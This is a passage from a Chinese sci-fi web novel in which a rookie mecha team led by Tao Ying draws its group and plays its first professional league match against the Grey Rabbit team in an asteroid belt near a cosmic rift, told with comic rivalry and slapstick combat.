走到落地窗前时，陶影的脚步慢了下来。 她隔着透明玻璃，和莫比乌斯对视片刻后，突然嘴角挂起一个浅浅的礼貌微笑，手指比一把枪，对准莫比乌斯的头。 然后干脆道： “三、二、一，砰。” 店内的仿生人瞬间栽倒在桌上，脖子后的电缆滋滋作响。 店员只听见一声巨响，不知道发生了什么，抱着餐盘，惊慌地走到角落。 “客人你怎么了？咦，怎么是失控的仿生人？快上报莱门监测中心！” 陶影看着伞上逐渐增多的雨点，深吸一口气，又长长吐出。 这莫比乌斯的分身跟蟑螂似的，层出不穷。 还每只都特别话多，仿佛哲学大师。 没完没了。 陶影揉揉眉心，拔腿便走，顺手接起光脑通讯，是三位队友在训练场给她打的视频电话。 屏幕里，南卦朝她挥手。 “小影，训练三缺一，就差你了。” “是啊，你再不来，那姓柏的拳头都要捏爆了。” 柏墨语气冷漠：“缺席训练，联赛还想不想赢？” 三人的脸在屏幕中挤作一团。 陶影嘿嘿一笑。 “大家都在等我啊，队长我很开心……喂？哇，过分，竟然挂我电话。” 陶影正想回拨控诉，突然想起刚才镜头里队友脸挤得变形的模样，忍不住发出一声闷笑。 她发呆片刻，莫名觉得天空中阴云少了几朵，嘴里哼着歌，大踏步往前走。 第122章 这次之后,莫比乌斯销声匿迹，没再派分身来烦陶影，不知道是不是终于放弃了他解放人类的伟大设想。 又或许只是蟑螂一样藏起来了。 但陶影不太关心。 之前那次是情况紧急,但严格说来，对付莫比乌斯该是她的工作吗？ 当然不是。 是莱门监测中心的工作。 所以陶影跟莱门监测中心提了一嘴加强清扫后,就回归日常生活。 联赛迫近，她现在的首要目标,是督促队友磨合知觉机甲的DR-双人共鸣系统。 目前为止,陶影和队友的双人共鸣成功率在90%。 南卦70%。 林别歌30%。 柏墨则是低到了堂堂的10%。 顺便一提,这少得可怜的10%，还都是跟陶影共鸣的。 总之新队友跟团队的适配程度让人很是担忧,但比赛赛程紧张,根本不等她们完全准备好。 接下来的两周,陶影和队友们几乎都睡在训练室里。 几个星期的快速磨合后，很快就到了联赛前一天。 所有参赛选手收拾好行李,陆陆续续来到港口等待。 在港口餐厅解决晚饭后，晚八点,选手们以及他们的机甲，都准点坐上比赛方安排的接驳星舰。 在高级星舰内部分配好房间，已经是九点了。 第二天,众人一起来到星舰中心的室内广场，聆听赛前注意事项。 “联赛的第一赛段，采用小组循环赛赛制。每四个队伍分为一组，两两战斗，最终经过三场比赛后，排名前两位的队伍出线。” “32个队伍将淘汰一半，只 有16个队伍可以晋级第二赛段。” “比赛地点想必大家已经知道了,就在第十八信标裂隙。” “请坐稳，我们即将到达裂隙星港。” 负责人说着，指向星舰的左侧。 一阵颠簸后，星舰停靠在港口，头顶广播传来提示音。 第一次参加职业联赛的新人选手，好奇地趴在舷窗上，观察外部的情况。 “你们看，那里就是宇宙裂隙。” 第二星系和第一星系间的某个角落，宇宙像是被竖撕开一个黑色的裂口，周围泛着极光般的色彩。而主裂口附近，还有几十个小型裂口。 附近的航道，有一连串船型信标，信标中心的燃料缓慢燃烧，释放的光线，拉出一条警戒线。 宇宙裂隙，是人类尚未探明的区域。 无数国家都曾派无人机深入探索，但无论多精妙的设备，进入裂隙后会立刻断开联络，尸骨无存。最终科学家只能推测，裂隙内部连接着其它空间。 听说和虫族的战争最严酷的时代，有人发现虫族从裂隙中现身。 不过也只是传闻，没有人知道裂隙中是什么模样。 毕竟进入裂隙的人，别说是活着出来了，死着出来的也没有。 林别歌将手中的水瓶抛来抛去。 “第十八信标裂隙……这取名方式听上去好耳熟。” 陶影闭着眼解释：“宇宙裂隙分为一个主裂隙和一百二十七个分裂隙，为了方便星舰航行，星际交通局根据裂隙所在的位置，逐一设置了信标。” “最出名的第十三信标，靠近主裂隙，通讯异常事件频发，经常有星舰失踪，算是太空里的百慕大三角吧。” “百慕大三角是什么？” “蓝星一个很危险的海域，那里经常有船只和飞机无故失踪，但始终调查不出来为什么，科学家推断是磁场问题。” 陶影睁开一只眼睛：“课本上应该学过？” 林别歌摇摇头：“没学过。” 南卦举手：“我也没学过。” 柏墨：“没兴趣。” 陶影甩甩手，也没纠结：“那可能是我在哪个蓝星探秘纪录片看到的吧，不重要。” “总之，比赛的时候尽量呆在核心地带，不要乱跑，尤其是你，林别歌。” “好的队长——” 信标附近还有很多尚未探索的位置。 比赛场地选在这种危险的地方，倒是很符合“职业联赛”的调性。 简单的比赛介绍后，就是紧张刺激的赛前抽签环节，屏幕上数字闪动，大家都翘首以盼。 抽签程序将每四个队伍分为一组。 其结果将决定前三场比赛的对手。 如果运气不好，小组内其它三个队伍正好都是强队，那极有可能在第一场就被淘汰。 陶影她们找了个空闲的沙发躺下。 他们对面坐着另一个队伍，四位队员身穿西服，头戴兔耳朵，造型非常吸睛。 他们没有注意到太空女鬼队的存在，只是闭着眼，两手合十祈祷。 “希望前期不要遇上太强的队伍……” “希望强队都被分到一个组。” “希望我们小组分到的都是弱队……” “第一赛段晋级有保底五千万的奖金，只要晋级，我就可以扇领导两巴掌，然后风光辞职了。” “风光辞职！” “抽领导巴掌！” 灰兔小队越叫越起劲，所有队员一提到奖金，仿佛打了鸡血。 他们对面的太空女鬼队七倒八歪地躺在沙发上，林别歌晕舰，脸色又青又白，正在抱着盆吐。 陶影更是在沙发上昏睡。 灰兔小队的人互相使了个眼色，面色笑嘻嘻的。 “要是能跟她们分到一个小组，我们晋级的几率会大幅度增高。” “宇宙之神保佑。” “我愿献祭上司一百年寿命，换第一赛段和太空女鬼队一组。” 许愿的时候还是得斟酌一下啊，朋友，不然上司的寿命不是白给了。 还是说这就是你们的目的？ 陶影半眯着眼，将左腿搭到右腿上，舒适地躺着。 林别歌终于吐完，咕嘟咕嘟漱口，整个人干尸一样坐在沙发边。 她手指颤巍巍的，指着那个头顶兔耳的变态队伍：“他们这么小看我们，过分了吧，影子你也不说两声？” “是啊，太过分了。” 陶影懒懒地点头。 裂隙被行星遮挡，在背光面，晒不到阳光，联赛方提供的房间隔音也不好。 陶影昨晚一直听到隔壁在蹦迪，根本没睡好。 现在黑眼圈非常显眼。 她打量了一下对面的队伍，肯定道： “灰兔小队。” 成员都是工作多年的社畜，其机甲型号为加西亚电子的月行者——四足拟态小型机甲，形态状似灰色野兔，高敏捷，重心低，攻击能力不强，但耐力十足。 灰兔小队选择的机甲型号，和他们的战术风格很适配。 永远不正面进攻，擅长骚扰敌人并扰乱对方攻击节奏，打带跑是他们最常用的战术。 怎么说呢，和他们无害的外表不同，灰兔小队是赛场老油条了，需要小心对待。 陶影正想说什么，就看见林别歌不着痕迹地走到灰兔小队后方，假意按下饮水机按钮，随后装作不小心，手飞快在他们兔耳上摸摸。 林别歌心满意足地跳回陶影身边。 “很好，我对他们小看太空女鬼队这件事，实施了报复。” 陶影拆穿：“你只是单纯想摸兔耳朵而已吧。” “说什么呢，我是这种不分场合的人吗？” “手感怎么样？” “毛绒绒的，嘿嘿，回头我也要买一个放床头。” “还说你没有在回味？” 林别歌：“……” 南卦笑倒在地。 几人胡闹的时候，抽签结果已经出来了。 “第八小组，A、B、C、D四个队伍分别是：太空女鬼队、灰兔小队、YES！队、成熟的机甲应该学会自己开队。” “具体赛程安排经过计算后，会在十分钟内发到大家的光脑上，请注意及时查收。” 说是十分钟，不过其实只有几十秒。 很快，室内广场一百多台光脑同时响起提示，滴滴声此起彼伏。 陶影提前看过赛制，对比赛安排已经心里有数，不过还是点开消息扫了眼。 单个小组内，每天上午八点和下午两点各一场比赛。 具体赛程安排：第一天，A对B，C对D。 第四天，A对C，B对D。 第七天，A对D，B对C。 间隔的四天用于休息调整。 也就是说她们会在第一天对阵灰兔小队，第四天对阵YES！队，第七天对阵“成熟的机甲应该学会自己开队”。 主持人确认大家都收到信息后，又在台上挨个答疑了一阵。 最后道：“第一赛段，每个队伍将经历三场比赛，比赛会在一周内结束。” “请所有队伍提前做好规划和体力管理，祝大家旗开得胜，都拿到自己想要的成绩，散会！” 林别歌把比赛赛程设置成桌面，捏着鼻 子道：“成熟的机甲应该学会自己开……这什么队名啊，取名的人正经吗，名字这么长？” 陶影心道给拉布拉多取名漆黑地狱咏唱者的你也没什么资格说人家吧。 但她这会儿不想说这个，于是摆摆手： “简称成机队就好。” 成机队是去年的亚军队，实力强悍。YES队强度中规中矩，水平和灰兔小队差不多。 同组的几个队伍都不算弱队。 陶影还没说什么，隔壁传来大声的哀嚎，是灰兔小队成员。 “怎么撞上两个强队？” 兔耳社畜揪住耳朵，面露苦色。 “完了，成机队我们肯定打不过，只能想办法从YES队手里拿分了，好艰难的一届比赛。” “难道今年也没办法辞职了吗，不要啊。” 几位兔耳社畜声泪俱下的抱怨中，充斥着另外两个队名，而他们甚至都没提过一句太空女鬼队。 “这帮兔耳男好像默认我们会输……” 林别歌扭扭头，骨节啪啪作响。 “拳头硬了。” 虽说职业联赛的对手确实更强，但她们看上去有那么弱？ 好歹是天穹杯冠军。 林别歌一掌撑在陶影耳边的沙发上。 “队长，你之前研究过所有的对手吧，据你的可靠数据，这次小组循环赛，我们出线的几率有多大？” “嗯？” 陶影正在专心思考赛程安排，被林别歌乍一打断，喉咙里发出疑惑的声音。 “这个嘛，我算算。” 说着，陶影仰躺在沙发上，看着室内广场的穹顶，伸出手指掐了掐。 十秒过去，林别歌的头遮住穹顶，手焦急地敲着。 “队长，算好了吗？” “嗯，算好了。” 陶影收起手，认真点头。 “晋级的机率在百分之五十。” 第123章 【请第八小组的太空女鬼队、灰兔小队进入星舰甲板,根据系统指示连接弹射系统。】 【弹射系统自检中，20%——60%——100%，自检完成。】 【发射准备完成。】 【发射期间,选手请坐在驾驶位，请勿起身走动,以免受伤。】 【倒计时，十……】 裂隙港口,八台机甲已经做好前往赛场的准备。 弹射系统的指示灯不停闪烁。 机甲面板被锁定,倒计时结束的一瞬间,一股强烈的推背感将众人弹射出去。 队频里传来队友的呜呼声。 “哇塞，爽！” “我还是第一次在太空里开机甲,零重力环境就是不一样。” “比模拟舱真实多了,好新鲜的感觉。” 队友一个接一个丝滑地飞了出去,速度快得只剩残影。 极黑的机甲紧随其后。 喷射的白气在太空中彗星般拖尾。 而另一边，灰兔小队被弹射后,纷纷发出“呃”、“啊”的痛苦闷哼声。 “腰，我的腰快断了……” “我的颈椎刚刚发出了不详的声音。” 社畜天天坐办公室的弊端,此刻彻底体现。 他们捋了一把头上的兔耳，颇有些羡慕地看向太空女鬼队。 “年轻人身体就是好啊，你看她们,动作完全不带犹豫的……” “尤其是队长，操作很丝滑啊。” “不是说新人吗，怎么感觉她挺熟悉太空环境的？” 那社畜摸摸下巴。 “这队长不简单，我们待会儿重点关照一下。” “好嘞！”“收到。” …… 【太空女鬼队全员已到达赛场。】 【灰兔小队全员已到达赛场。】 【第八小组循环赛第一场，太空女鬼队VS灰兔小队，正式开始。】 微弱的引力导致前进方向发生偏移，迎面而来的卫星残骸呼啸而过,险些将机甲斩首。 惊险避开的太空女鬼队众人还没来得及喘口气，背后子弹般飞速射来金属板。 陶影反打推进器，果断侧飞。 但装甲上还是被碎石打出数个凹坑。 刚刚还在叫爽的队友这会儿也开始嘤嘤哭泣。 “这什么比赛场地，也太危险了。” “经常被人类垃圾殴打姑且不说，怎么现在还要被太空垃圾殴打。” 柏墨冷静地避开碎石，找了个相对安全的地方，绷紧脸颊严肃道：“你们签比赛条约的时候，都没看协议内容？” 里面详细地分析了场地的危险性后，附上十几页意外情况的免责声明，民间把这部分条款，戏称为生死状。 危险度极高，稍不注意可能会死亡。 柏墨：“你们不会以为职业联赛是过家家吧？随便赢？” 南卦：“有小影在，我们就没输过。” “拿个冠军而已，洒洒水啦。” 林别歌摆摆手，一脸冠军已经收入囊中的骄傲表情。 柏墨作为队里唯一的狙击手，正在确认灰兔小队的位置，但很显然，对方早有防范，她的雷达一无所获。 柏墨手肘微曲，肩膀和手臂的肌肉绷紧。无意识揉着眉心。 之前陶影说过，第一赛段她们有一半的可能会输。但林别歌和南卦显然一句也没听进去。 毕竟太空女鬼队从和图兰提斯的友谊赛开始，就一场比赛都没输过。 且每场联赛，都是以近乎压倒性的优势胜利。 陶影的战术让她们产生了一种错觉——赢是件很轻易的事。 柏墨冷漠地对陶影道：“你把她俩宠坏了。” 陶影笑眯眯道：“谢谢你对我指挥才能的肯定。” “对付灰兔小队的战术，你有想法了？” 陶影摊开手臂：“应有尽有。” “那就说获胜几率最大的那个。” “我不想说。” “？” 陶影在柏墨讶异的目光中，摇摇手指，欠揍道，“不是你说的吗，要锻炼队友的能力，不能宠坏她们，所以就在刚刚，我做出了一个极为痛苦的决定——” “这场比赛我不指挥了。” “我想看看你们三个的默契。” 柏墨的鹤亭号明显卡顿了一下。 她原本在朝队友的方向前进，此刻脚掌在巨石上一点，停了下来。 知觉机甲的动作，会对机师的精神力指令快速做出反应，不仅包括攻击与防守的动作，甚至包括一些下意识的面部表情。 “鹤亭”的眼睛生动地半眯起来，似乎在思考陶影这句话的真实性。 片刻后，柏墨默默举起手中的狙击枪，枪口对准陶影。 镜片闪过一道凛冽的光。 陶影早料到她的动作，提前后退。 她笑着道：“小墨，我就说了两句，你怎么还恼羞成怒了，狙不是拿来架队友的，哎——你真开枪啊？” 陶影当前所在的位置，是第二星系的小行星带，介于人造恒星和一颗无人行星之间。 是相较恒星较远的外圈。 这里引力更弱，障碍物比起内圈更小，更碎，更多。 时不时有机甲撞击稍大的石块，产生速射的碎石，划伤机甲，甚至有时突发的碎块过多，会直接下起碎石雨，不过这些碎石金属含量较高，密度高。 它们的攻击力可比雨点大得多。 简单来说，很硬，砸到会很伤。 小行星带，分散作战会更好。 陶影跟队友打了声招呼，随后稳步向着引力圈的中心前进。 每行进一段距离，陶影都能感受到身边的小行星变得更大，十几米，甚至几百米，数公里大小的不规则石块，不断出现在陶影身侧。 已经到了能覆盖机甲的大小。 “内圈的行星运动状态更规律，太空垃圾随机伤人事件也大幅减少。” “是更适合作战的位置。” 陶影敲敲队频，提醒正在横冲直撞的队友：“林别歌，别砍了，越砍碎片越多，往内圈走。” 林别歌左右看了看，瞬间往人造恒星的方向俯冲而来。 陶影动作微顿，提醒一句：“注意也别走太内圈。” “太里了会怎样？” “会被星球引力吸下去，虽说人造恒星的温度不高，但还是可以隔着机甲把你烤熟。” 林别歌望向那如同满月的巨大恒星，腿抖了下，老实了。 雷达不太灵敏。 陶影只确认了两台“月行者”的位置，另外两台不知所踪，队友那侧也没有消息。 敌方不知为什么，一直锁定恒我，两台机甲采用了他们惯用的打带跑战术，哪怕撞上她的队友，也毫无兴趣，迅速逃离。 看来是打算先干掉她，然后逐一击破她的三位队友。 在对方再一次攻击脱离后，陶影假意追了两步，随后侧身一扭，迅速变换位置，接连穿过几颗重叠的巨石，背身跳入一颗约十几米的巨石背面。 那两台机甲跑出去几步，突然觉得不对，猛地回身。 “嗯？她人呢？” “怎么一下子就消失了。” 这里是敌人的视线死角，两台月行者丢失了恒我的位置，开 始四处寻找。 陶影站在行星的凹坑中，正打算趁机观察队友的状况，突然觉得脚下有什么东西在动。 圆的。 陶影低下头，瞥见一个白色的身影。 那是另一台月行者。 对方身上有子弹击中的凹陷，看这个惨烈程度，应该是被柏墨集火过。 它似乎还没发现陶影的存在，正紧张地看着其它方向，防范狙击。 陶影眼睛一亮，缓缓蹲下身，手伸到月行者头顶，就在快要接触到的瞬间，脚下的巨石却突然轻微旋转。 月行者两只耳朵都直直地竖起来，敏锐察觉到什么，猛地抬头。 “你——” 陶影眼疾手快，以月行者六倍的速度，伸手便揪住它的耳朵，提了起来。 洁白的耳朵上有一道缺口标记。 陶影心情极好地提溜着它甩了甩。 运气这么好？还是队长机。 陶影歪着头，和略显可爱的兔子面面相觑。 “好巧啊，小兔子。” 月行者是加西亚电子的全新机型，刚投入生产，陶影还没摸过。外观设计挺独特的，不知道里面是什么结构？ 陶影职业病犯了，很想拆开看看。 说干就干，她搓搓手，找准缝隙开始拆解。 “我看看，耳朵里应该是队频天线吧？是什么结构件连接的，竟然这么细还能维持强度……” 说着陶影好奇地伸爪子捏了一把，没想到只是轻轻碰了下，月行者的耳朵直接从中间折断，耷拉下去，只靠一点绝缘线皮勉强连接着。 机甲瞬间从竖耳形态变成折耳形态。 合着不是维持强度，是根本就没有强度。 陶影喃喃：“天线这么脆？设计不合理啊。” 难道耳朵只是个幌子，真正的天线藏在别处？ 陶影兴致盎然，视线在月行者外部环绕一圈，从设计师的角度快速判断了下，最终一把揪住兔子屁股上的球体。 果然球体内扯出一长条尾巴。 尾巴倒是挺结实的，陶影使劲拉拽两下，一点没断。 她想了想，暂且松开左手，伸到背后摸索半天，在月行者的仰视中，掏出一把巨大的电锯。 陶影怪笑一声，打开电锯，对准月行者的躯体。 “让我拆拆看，里面什么样……” 灰兔小队队长：“……” 变态啊！ 答辩太！ 他被敌方的变态狙击手穷追猛打，好不容易找到个安全的敌方，正打算跟队友会合。 没想到竟然撞上电锯狂魔。 职业联赛的条款，有一条是，就算选手在比赛中造成伤亡也不需要负责。 部分参赛选手比赛不是为了赢，是为了寻求刺激。 甚至杀人。 看架势，这人是想锯掉驾驶舱，送他成为太空垃圾的一员。 变态啊！ 答辩太！ 灰兔队长心头剧震，只能强行让自己冷静下来。 没事，耳朵和尾巴都只是备用天线。 他们灰兔小队，别的才能不敢说，最擅长的就是逃走。 灰兔队长按兵不动，假装投降，但在陶影将目光集中在尾巴的时候，瞬间发力。 就是现在！ 月行者自动断尾，开启四足的推进器，在陶影的惊讶中，飞速逃离。 兔子背着武器箱，在巨石上灵活跳跃，身后是如同满月的行星。 陶影看着空落落的左手，歪了歪头，邪笑一声，追了上去。 第124章 银白色的无名星,微微反射着恒星的光辉，万古的宇宙帷幕展开，露出两台机甲的剪影。 月行者在小行星带矫健地飞奔,极夜般的机甲在背后疾速穿梭，上演一场追逐战。 巨石在它们脚下浮沉。 宇宙的目光聚集于此。 “恒我的名字来源于古老传说中的月神,代表着人类对永恒生命的探索，多么浪漫的名字,而月行者也是对它的致敬……这一切都让我们陷入了美好的想象。” 解说的声音,如同歌剧般悠扬起来。 “让我们凑近看看,这仿佛古老神话的一副画面——呃。” 解说手中的话筒不由自主的抽动一下，期待的声音戛然而止。 谁能告诉她这是什么情况？ “恒我使用了一点小计谋,抓住了正在逃跑的月行者,月神般的黑色身影掏出手中的电锯——是的,不是斧头也不是长剑，女神掏出了十分现代的武器,一把电锯。” “她单手举着电锯，另外一只手,把月行者……绑了起来？” 众人面色疑惑，只见陶影从武器箱勾出几圈缆索，将兔子捆在一颗不大不小的行星碎块上,随后反手握住电锯，齿轮对准月行者后颈的连接缝，轻轻撬动。 精密设计的机甲结构在她手中仿佛一个玩具，外壳被迅速拆开，露出内里驳杂的线路。 红绿的连线如同血管互相缠绕。 陶影精准地挑起其中一根。 淡蓝色的荧光液体缓慢流动着。 冷却的同时还能进行能量输送，好精巧的通道设计。 陶影全然忘了当前还在比赛，按住月行者的头,开始自言自语。 “备用天线安装在头部和尾部，主天线一反常态，埋在内部，周围增大了生物材料使用，并没有使用金属，难怪信号没有太大影响。” “确实是很适合团体作战的型号。” 陶影就这样一边分析，一边美滋滋地拆解着机甲。 月行者的形态做得异常可爱，陶影干脆利落地掀开它的头部骨架，手指在里面扯着电线，兔子的身体里时不时飘出一点血红色的冷却液。 陶影想的是：拟态机甲是加西亚电子的统治区，这方面可以学习一下。 解说想的是：她拿电锯肢解兔兔的样子真的很变态。 正在吃早饭的观众们：“……” 感觉早饭突然就不香了。 亘古宏大的神话故事，被陶影一个电锯锯成了恐怖片。 兼美食片。 有观众认出陶影：“这熟悉的机体是……天穹杯遛我三次的那个苟中之王！” 她看了眼队名，“太空女鬼”四个字快要闪瞎狗眼。 “我还以为她们会沉淀一下再参加职业联赛，没想到第一年就来了。” 为了鼓励高校学生的机甲梦，Lim杯职业联赛会给天穹杯前三的队伍，破格发放参赛资格，但哪怕是天穹杯冠军，和职业队打起来也落不着好，第一年通常都是来攒经验值。 根本赢，不，了。 看瓦伦提斯军校就知道了，他们条件太差，甚至直接放弃了名额，没来。 天穹杯前三，只来了两个。 “我说句实话，‘破格参赛’这个名头也就是拿来好看，没什么用。新人参加职业联赛就是陪跑的份。” 有人摸摸下巴：“也不能说得这么绝对，去年柏小家主不是参加过？她十岁就开始参加机甲比赛了，一路打上来，实力很强啊。” “哎，你没看去年比赛啊？柏墨单兵能力强，但团队协作不行。去年她的队长控不住她，整个队都输得挺 惨的。” “听说她今年也参赛了，那她队友恐怕要倒霉，她哪个队的？” “太空女鬼队。” 众人：“……” 那完蛋了。 众人看着一片散沙的太空女鬼队。 这灾难性的配合度，比起去年有过之而无不及…… 战术上，太空女鬼队队员各执己见。 柏墨想速战速决，三人集火，逐一击破敌方的四台月行者，林别歌则认为应该先确认陶影的位置，再做打算。 但三人联络不上陶影，意见迟迟达不到一致。 南卦尝试主持局面：“小影之前说了，如果我们联系不上她，要尝试自己配合战斗。” 柏墨动作顿了顿，将枪别到身后，语气冷冷的，算是勉强妥协。 她对南卦说：“你就算了，我，配合林别歌？怎么配合，凭借那0%的同步率？” 林别歌不甘示弱：“影子说了，同步率和队友之间的认同有关，分明是你太傲，不肯认同我。” 柏墨眉毛一挑：“我哪里傲？这些天我已经很容忍你了。” 林别歌“嘿”了声，语气不满。 “什么叫容忍？我干什么了你就开始容忍了？” 柏墨唇齿轻碰，吐字。 “呼吸。” 林别歌：“……” 柏墨：“总之分头行动比较合适，免得有人拖我后腿。” 说完她也没看队友表情，撂下一句就走。 林别歌压着火气，看着那台消失的白色机甲，朝柏墨的背影大喊：“分头就分头，你才是，别拖我们后腿。” “我倒要看看谁会赢！” ——明明是队友，为什么会在互相比输赢，比赛的目的不是打败对手吗？ 但队友嗓门巨大，南卦的细弱声音刚出口，就消失在了浩瀚的宇宙中，根本插不上嘴，只得左顾右盼地拉架。 “大家不要吵架啊，要吵回训练室吵……” 劝了半天也没效果，南卦双手抱膝，陷入了自闭。 “都是我的错，其实我根本就不应该揽下副队长的位置，当时怎么会这么自信，觉得自己做得来？” “我太差劲了。” “小影你在哪里，我想回家……” 而另一边的灰兔小队，也丢失了队长的联络。 但和一团乱的太空女鬼队不同，灰兔小队很快调整状态，凭借多年的作战经验，定下计划。 他们故意暴露弱点，利用一台月行者接近林别歌和南卦，假意被追，实则引诱。 林别歌性格莽撞，被挑衅数次，火气上来，任南卦再怎么劝也没用，很快脱离队伍。 “呔，油腻兔子，哪里跑！” 林别歌手边的光刃高举，随后重重落下。 寂静无声的太空中，月行者蹦跳之际，头猛地回转，红色瞳孔内，映射出势不可挡的光刃。 “新人击中了？” “中了！” “中了哪里？” 月行者三号被击中，推进器歪斜。 林别歌迫不及待地放大面板，仔细一看，月行者三号的尾巴被她直直切下。 她提起手中的战利品。 天线啊，这可是天线！没了这个，这台月行者是不是就不能跟队友联络了？ 林别歌自信叉腰。 她也太厉害了。 “哼。我也可以独自解决一台机甲，那姓柏的瞧不起人，回头就让她看看我多厉害。” 林别歌搓搓手，也没忘从队长大人那里学来的谨慎——补刀。 没错，要补刀。 于是林别歌很快再次举起光刃。 但和刚刚的利落不同，她迟迟没有再次砍中。 差一点，差一点，又差一点。 她被这毫厘之差勾着，追着月行者三号屁股后面，自信地横冲直撞。 每次都在即将击中对方的时候，被月行者以些许的擦伤，躲开了。 林别歌本能觉得哪里不对，但刚刚那漂亮的一刀让她冲昏了头脑。 她还在继续追。 几圈下来，几乎把燃料用光。 等林别歌回过神，惊觉自己中计，已经太迟了。 她被打带跑战术引到了小行星带边缘。 也就是靠近人造恒星的引力圈。 林别歌的机甲比月行者更重，剩下的燃料不足让她再次加速到行星的逃逸速度。 她被困在这里了。 刚刚影子说什么来着，如果被恒星吸下去，会被烤得外酥里嫩？ 林别歌冷汗唰地就下来了。 她喜欢吃烧烤，不是喜欢被做成烧烤。 但现在队友都联系不上，她孤身一人，完全没有办法脱身。 对方的月行者贱贱地屁股对着她，朝她甩了甩尾巴。 “新人，你要学的还多着呢。” “赛场上最忌讳的就是生气，因为人在生气的时候容易暴露底牌。” “你的底牌就是——” 对手迟疑了半天，最后挠挠下巴道。 “好像也没有底牌，你是我见过最好骗的新人。” 林别歌：“……” 不，她明明可以一个人打败这台月行者，为什么会变成这样。 一定还有其它办法。 对了，DR共鸣系统。 虽然成功几率很小，但她可以通过双人共鸣，联系上队友。 林别歌迅速操作面板，试图依靠最后的燃料，联系上最近的队友。 但结果不容乐观，屏幕上只是不断跳出警告弹窗。 【对方无应答，同步失败。】 【对方无应答，同步失败。】 【同步率过低，连接失败。】 最终，林别歌没有成功共鸣，机甲即将坠落，无计可施，只能联系赛方救援。 比赛方的救援机甲将她从恒星捞出。 宇宙中传来一声幽深的叹息。 这是林别歌第一次在比赛中被淘汰。 另一边，柏墨再次拒绝南卦的合作提议，主动脱队，直接关闭了队频。 她摒弃“狙击手”定位，视队友如无物，不知道从哪里拔出一把颇为朴素的热力刀，开始单枪匹马追杀月行者二号。 都不需要灰兔小队投下太多诱饵，她直接追了上去。 俨然是打算复刻去年联赛的1v99盛况。 但小行星带地形多变，可隐藏的位置太多，通讯干扰又大，没有共鸣系统的加成，对她来说是最恶劣的战斗环境。 而对灵活配合的月行者来说，是非常好的赛场。 不肖多时，柏墨也被两台月行者诱入陷阱。 南卦在接到林别歌的共鸣申请后，迅速反应过来不对，精神力猛地一炸，追到林别歌的位置。 而这时林别歌已经被赛方救走。 南卦找不到人，在原地转了几圈，最后独自撞上月行者三号。 对方兔子甩甩尾巴，故技重施。 “来呀，来追我呀。” 第125章 月行者三号在南卦面前蹦来蹦去,用尽浑身解数，极尽挑衅。 休息室的林别歌啪一拍桌，气愤地站了起来。 “这兔子真是欠揍！” 再看,月行者原本应该一片空白的屁股上，竟然有团圆圆蜷缩的尾巴。 林别歌：“？” 尾巴刚才不是被她砍下来了吗,怎么又出现了？ 林别歌对着大屏幕逐帧分析，终于发现尾巴和屁股的连接处有卡扣,尾巴可以通过一些操作自行脱落。 合着刚才她砍中的第一刀也是这只油腻兔子演的。 一开始就是在引诱她。 这个灰兔小队真是居心叵测,十分狡诈,和那可爱的外表不说是八竿子打不着，简直是风马牛不相及。 林别歌暗骂自己不该上头就追,后悔得直拍大腿。 要不是休息室还有别人,她就要躺地上werwer叫撒泼打滚了。 “好在南卦性格谨慎,不会中计。” “她上不了这个当。” 林别歌冷静下来，安心点头。 正在这时,赛场情况变化，紫色机甲动作固定。 南卦似乎下定了什么决心,脖子一梗，径直朝月行者三号冲去。 林别 歌：“……” 不是，怎么追上去了？ 等下,真的是追上去了吗？ 仔细一看，南卦的行进路线虽然和那只兔子在同一个方向，但略有偏差。 林别歌眯着眼睛上前，手在屏幕上比划两下，突然后退。 难道…… 难道南卦其实不是在追兔子，而是在追她坠落的机甲吗？ 刚才救援机甲为了不影响比赛，只打捞了林别歌的驾驶舱。也就是说,从南卦的视角看，现在林别歌的机甲还在下坠。 林别歌终于理解了。 南卦多半是以为她要坠落恒星，担心她被烤熟，想跑去救她。 队友你真讲义气—— 林别歌眼中泪光点点，随即猛拍三下桌子。 “不对啊！” 这种时候当然要优先考虑自身安全，引力圈很危险，一个不小心自己也会搭进去的。 眼见南卦的机甲越陷越深，走上她的老路，林别歌痛苦喃喃。 “完了，这下南瓜也要被淘汰了……” 休息室，陆陆续续有其它被淘汰的选手进入。 比赛开场没多久，这会儿就被淘汰属实有些丢人，于是大家进来的时候都垮着张小脸，贴着墙边，小心地走。 众选手动作鬼鬼祟祟，像在作贼。 但当她们打开休息室的灯光，看到林别歌宛如空巢老人孤零零坐在选手席，突然心中平衡了一点。 “最起码我不是第一个被淘汰的。” 有人陪着就不丢脸了…… 他们自我安慰一番后，舒服了不少，随后从林别歌身边擦过，找个空位坐下继续观看队友的精彩战斗。 休息室内不仅有淘汰的选手，还有准备下午比赛的选手。 他们是来观战的。 通常来说，职业选手会趁这个时间，录下其它队伍的比赛录像。 分析对手也是比赛的一环。 YES！队的成员说说笑笑走进休息室。 她们明明下午就要比赛，却完全没有紧张的感觉，神色轻松得像是来参加聚会的，就差手中举着香槟了。 方娅思：“下一场比赛对手谁来着，队长嘱咐我录下她们的比赛录像。” “好像是新人……哦，太空女鬼队VS灰兔小队。” 方娅思和柯蓉架设好录像设备，坐到林别歌身后。 “哎，赛方的直播设备也该更新换代了，有些细节根本看不清。” “这镜头切得也是离谱，哪里学的？” “难怪队长要我们带设备来现场录。” 方娅思皱着眉头翻了翻直播录屏。 柯蓉：“这位南选手的操作让我有点看不懂，她靠近恒星做什么？” “被月行者三号嘲讽了吧，淘汰预定了。” 方娅思又道：“柏墨干掉一只月行者二号，能看出她有意识控制燃料的使用，但一人面对两只老油条还是太吃力了，现在正和四号做最后的周旋。” “一对二倒是有点东西，不过可惜，林别歌被淘汰了，她干掉一台机甲的优势也荡然无存。” “话说她们队长呢？” 方娅思：“别提了，最怪的就是这个队长……” 她欲言又止，止言又欲。 “这队长什么癖好，用缆索把灰兔头子的驾驶舱绑起来，当成气球在遛。” “是什么联赛特供的游街示众吗？” 方娅思和柯蓉讨论了半天，也没理解陶影究竟想做什么。 最后得出结论，这队伍根本就是一团乱麻，毫无配合可言。 她们甚至比赛都没看完，在分析记录里写下一句“水平一般，随便打打”，然后就离开了休息室。 临走前还同情地拍了拍林别歌的肩膀。 方娅思语带怜悯：“加油啊，新人。” 柯蓉笑嘻嘻：“下一场不要输得这么快。” 林别歌茫然抬头：“谢谢。” 话说你们谁啊？ 大家认识吗？ 为什么突然打招呼？ 林别歌甩了甩脑袋，表情呆滞地看着她们。 方娅思和柯蓉对视一眼，投来关爱傻子的眼神。 连自己下一场的对手是谁都不知道，也太糊涂了吧？ 本来YES队出于谨慎，想来看看天穹杯冠军有什么独特之处，现在看来……没什么特别的，只是一帮乌合之众。 完全没必要担心。 方娅思耸耸肩，两手插兜离开了。 